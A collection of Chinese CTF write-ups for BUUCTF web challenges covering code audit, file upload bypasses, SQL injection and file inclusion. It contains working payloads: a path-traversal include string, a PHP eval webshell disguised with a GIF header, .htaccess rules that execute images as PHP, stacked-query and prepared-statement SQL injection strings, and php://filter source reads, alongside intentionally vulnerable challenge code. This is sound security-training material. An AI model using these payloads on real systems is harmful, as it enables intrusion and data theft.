代码审计
[HCTF 2018]WarmUp:初步代码审计;文件包含;
F12 查看源码提示有 source.php ,访问获得源码:
class emmm
{
public static function checkFile(&$page)
{
//白名单列表
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
if (! isset($page) || !is_string($page)) {
echo "you can't see it A";
return false;
}
//检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($page, $whitelist)) {
return true;
}
//过滤问号的函数(如果$page的值有?则从?之前提取字符串)
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
);
//第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($_page, $whitelist)) {
return true;
}
//url对$page解码
$_page = urldecode($page);
//第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
hint.php 提示在 ffffllllaaaagggg
。
文件包含将 flag 包含进来,最后触发是 include $_REQUEST['file'];
。
三层过滤:
- 第一层判断:是否 file 传入是否为空、是否是 string 类型
- 第一层过滤:file 传入原值是否在白名单中
- 第二层过滤:取 file 第一个 ? 前的值,判断是否在白名单中,例如:$file=hint.php?id=0 ,则取 hint.php
- 第三次过滤:对 file 进行 url 解码后,取第一个 ? 前的值,判断是否在白名单中
最后 payload ?file=hint.php?/../../../../../ffffllllaaaagggg
include 的时候将 hint.php?/ 当作是文件目录,然后一直返回上层到根目录
[BJDCTF2020]Mark loves cat:代码审计;变量覆盖;
除了页面最底部有个 dog ,没有任何思路和提示,那就开始 dirsearch 扫目录。找到有 git 源码泄露,Githacker 将源码拖下来:
githacker --url http://6515a110-1a7a-4c40-b134-c1f29f33adf5.node4.buuoj.cn:81 --folder result --threads 1
githack 也能实现 git 泄露源码,之前用的好好的,现在这题 php 文件死活拖不出来就换了。
关键部分如下:
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y; //修改任意变量为任意值
}
foreach($_GET as $x => $y){
$$x = $$y; //修改任意变量为另外一个变量的值
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
两种方法修改变量:get、post
foreach($_POST as $x => $y){
$$x = $y; //修改任意变量为任意值
//input:$x="yds";$y='$flag';
//result:$yds = $flag
}
foreach($_GET as $x => $y){
$$x = $$y; //修改任意变量为另外一个变量的值
//input:$x="yds";$y='flag';
//result:$yds = $flag
}
补充知识
foreach 题目列表或者键值对 example 。如果是列表返回 $key 是下标,字典返回是键名。
<?php
$a = array(1,2,3,4,5,6,7);
foreach ($a as $key => $value){
echo "Current value of \$key:$key \$value:$value.\n";
}
文件上传
[ACTF2020 新生赛]Upload:文件上传;phtml绕过;
扫目录没有什么东西
前台 main.js checkFile() 对文件后缀进行白名单过滤,main.js F12 sources 可以找到:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";
alert(errMsg);
return false;
}
}
就一句话木马改成 png 后缀进行抓包绕过前端过滤:
修改后缀为 php ,返回 Bad file ,证明后端还有过滤。这里需要用到新的知识点:phtml 和 php 都可以被服务器当作 php 代码执行。
[极客大挑战 2019]Upload:GIF89a图片头欺骗;script标签绕过;
文件上传没有其他东西。php 后缀文件被过滤,上传 phtml 返回 Not image! 。上传 png、gif、jpeg 也是一样提示就很奇怪。尝试GIF89a图片头文件欺骗:
GIF89a
<?php
@eval($_POST['skye']);
上传成功,提示文件存在 <?
用 html script 标签绕过 <? 限制成功上传 hack.phtml
蚁剑连上:/uploads/hack.phtml
题目源码
按道理正常的 png、gif、jpeg 能上传,但是为什么报错 Not image!
<!DOCTYPE html>
<html lang="zh">
<style>
.error {
font-family:Microsoft YaHei;
font-family:arial;
color:red;
font-size:40px;
text-align:center;
}
</style>
<head>
<meta charset="UTF-8">
<title>check</title>
<link rel="stylesheet" type="text/css" href="css/reset.css">
<link rel="stylesheet" href="css/demo.css" />
<link rel="stylesheet" href="dist/styles/Vidage.css" />
</head>
<body>
<div class="Vidage">
<div class="Vidage__image"></div>
<video id="VidageVideo" class="Vidage__video" preload="metadata" loop autoplay muted>
<source src="videos/bg.webm" type="video/webm">
<source src="videos/bg.mp4" type="video/mp4">
</video>
<div class="Vidage__backdrop"></div>
</div>
<script src="dist/scripts/Vidage.min.js"></script>
<script>
new Vidage('#VidageVideo');
</script>
</br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>
<div class="error">
<strong>
<?php
$file = $_FILES["file"];
// 允许上传的图片后缀
$allowedExts = array("php","php2","php3","php4","php5","pht","phtm");
$temp = explode(".", $file["name"]);
$extension = strtolower(end($temp)); // 获取文件后缀名
$image_type = @exif_imagetype($file["tmp_name"]); //通过文件头判断图像的类型
// 检查Content-Type的值是否为图片类型
if ((($file["type"] == "image/gif")
|| ($file["type"] == "image/jpeg")
|| ($file["type"] == "image/jpg")
|| ($file["type"] == "image/pjpeg")
|| ($file["type"] == "image/x-png")
|| ($file["type"] == "image/png"))
&&$file["size"] < 20480) // 小于 20 kb
{
if ($file["error"] > 0){
echo "ERROR!!!";
}
elseif (in_array($extension, $allowedExts)) {
echo "NOT!".$extension."!";
}
elseif (mb_strpos(file_get_contents($file["tmp_name"]), "<?") !== FALSE) {
echo "NO! HACKER! your file included '<?'";
}
elseif (!$image_type) {
echo "Don't lie to me, it's not image at all!!!";
}
else{
$fileName='./upload/'.$file['name'];
move_uploaded_file($file['tmp_name'],$fileName);
echo "上传文件名: " . $file["name"] . "<br>";
}
}
else
{
echo "Not image!";
}
?>
</strong>
</div>
<div style="position: absolute;bottom: 0;width: 95%;"><p align="center" style="font:italic 15px Georgia,serif;"> Syclover @ cl4y</p></div>
</body>
</html>
[MRCTF2020]你传你🐎呢:.htaccess改变文件拓展名;
上传图片后缀文件成功,php、phtml 被过滤了:
这个上次的一句话蚁剑是连不上的。
正确姿势应该是通过 **.htaccess**
改变文件拓展名
.htaccess 详解
启用 .htaccess ,需要修改 httpd.conf ,启用 AllowOverride ,并可以用 AllowOverride 限制特定命令的使用。
.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess 文件,可以帮我们实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
改变文件扩展名几种配置方法:
AddType application/x-httpd-php .jpg //jpg解析为php
SetHandler application/x-httpd-php //任意后缀均被解析为php
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
//文件1.png被解析为php
改变 .htaccess 配置后造成文件解析漏洞,将其他后缀文件解析成 php 文件,即将文件内容当作 php 代码执行
修改 Content-Type 绕过后端检查:
现在 jpeg 已经被当作 php 执行,上传 jpeg 一句话,蚁剑链接 webshell
题目源码
<?php
session_start();
echo "
<meta charset=\"utf-8\">";
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];
// 匹配文件后缀有没有 ph
if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("我扌your problem?");
}
else{
// 文件后缀白名单、文件大小限制
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")|| ($_FILES["uploaded"]["type"] == "image/png")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
else{
die("我扌your problem?");
}
}
}
?>
[GXYCTF2019]BabyUpload:.htaccess改变文件拓展名;script 标签绕过;
上传 1.php 提示文件后缀不能包含 ph ;Content-Type 不是图片也会被过滤;
文件内容不能包含 <?
服务器是 PHP5.x 用 script 绕过 <? 过滤
文件后缀不能包含 ph 尝试修改 .htaccess 将其他文件解析成 php 文件。返回数据包 Server: openresty
是基于 Nginx ,Nginx 默认不支持 .htaccess ,但也可以修改配置后支持 .htaccess 。这部分思路参考:[MRCTF2020]你传你🐎呢:.htaccess改变文件拓展名
上传 .htaccess :
上传 1.jpeg 一句话木马:
蚁剑链接就好了。getshell 没找到服务器的 Nginx 配置文件(准备看看怎么支持 .htaccess ,但是没找到。找到了一堆 apache 的东西奇奇怪怪)
题目源码
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];
if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("后缀名不能有ph!");
}
else{
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
if(preg_match("/\<\?/i", $content)){
die("诶,别蒙我啊,这标志明显还是php啊");
}
else{
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
}
else{
die("上传类型也太露骨了吧!");
}
}
}
?>
SQL注入
[极客大挑战 2019]EasySQL:万能密码
账号密码都是一样的,输入'
会有错误回显
这里是因为程序使用 sql 语句用'
闭合,类似于:
select * from table where id='admin'
用万能密码登录:
select * from table where id='admin' or '1'='1'
最终 payload :
第一个和最后一个是程序自带的,其他是我们注入进去的
check.php?username=skye231' or '1'='1&password=a' or '1'='1
check.php?username=skye231&password=a' or 1=1#
[强网杯 2019]随便注 - 堆叠查询
判断出'
是闭合符,万能密码可以查出当前表全部内容
堆叠注入可以使用:?inject=1';show databases;#
查询表名发现其他的表:?inject=0';show tables;#
查询表结构判断出 flag 在里面
?inject=0';desc `1919810931114514`#
words 表就是正常查询的表,根据表里面内容判断出 sql 查询语句
selsect id,data from words where id =
方法1:重命名表和字段
- 将 words 改成任意名字(words1)
- 把 1919810931114514 表名改成 words
- 把 1919810931114514 列名 flag 改成 id
- 万能密码查询出 flag
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
修改后 words 表(1919810931114514)结构
方法2:预处理语句
利用 char() 函数将 select 的 ASCII 码转换为 select 字符串,接着利用 concat() 函数进行拼接得到 select 查询语句,从而绕过过滤。或者直接用 concat() 函数拼接 select 来绕过。
payload1 不使用变量
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
payload2 使用变量
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
payload3 只是用contact(),不使用char()
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
[SUCTF 2019]EasySQL:堆叠注入;pipes_as_concat;
进行一下尝试:
3 变成了 1
堆叠注入可以
flag 被过滤不能使用。这题要对 sql 语句猜测,输入一长串数字尝试:
前 10 个数字对应查询猜猜是 select 1 ,最后一个数字无论是什么都是 1 ,看师傅 wp 才知道 sql 语句:
sql="select".post['query']."||flag from Flag";
上图对应实际查询语句:select 1,2,3,4||flag from Flag
。||
在 mysql 默认是或运算,所以最后一个值查询结果非 0 即 1 。
EXP1
这个没什么好解释的,
*,1
// select *,1||flag from FLAG
EXP2
||
在 mysql 默认是或运算符,在 oracle 缺省支持通过 ||
来实现字符串拼接。mysql 将 mode 设置为 pipes_as_concat 来实现。
1;set sql_mode=PIPES_AS_CONCAT;select 1
//select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from FLAG
设置完的相当于是用 concat
进行拼接:SELECT 1,CONCAT(1,flag) FROM FLAG
concat 将查询结果进行拼接,本地环境测试:SELECT CONCAT(3,last_name) FROM users
每个结果都加上了 3
文件包含
[ACTF2020 新生赛]Include:php://filter读源码;
点进去 Tips 之后,观察 url 有点问题 ?file=flag.php
,怀疑是文件包含漏洞。
伪协议 php://filter 读取 flag.php 源码
?file=php://filter/read=convert.base64-encode/resource=flag.php
file:// 协议读取会把文件内容执行么,php文件捏?
[极客大挑战 2019]Secret File:php://filter读源码;抓包防重定向;
F12 查看到隐藏的路径
进去里面还有一个
然后提示结束了
burp抓包查看到有重定向,获取中间内容
访问获取到源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
include 一看就是文件包含,过滤了一些字符串,直接 php://filter 读取即可
命令执行
[ACTF2020 新生赛]Exec
Basic
[极客大挑战 2019]Havefun:传参
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->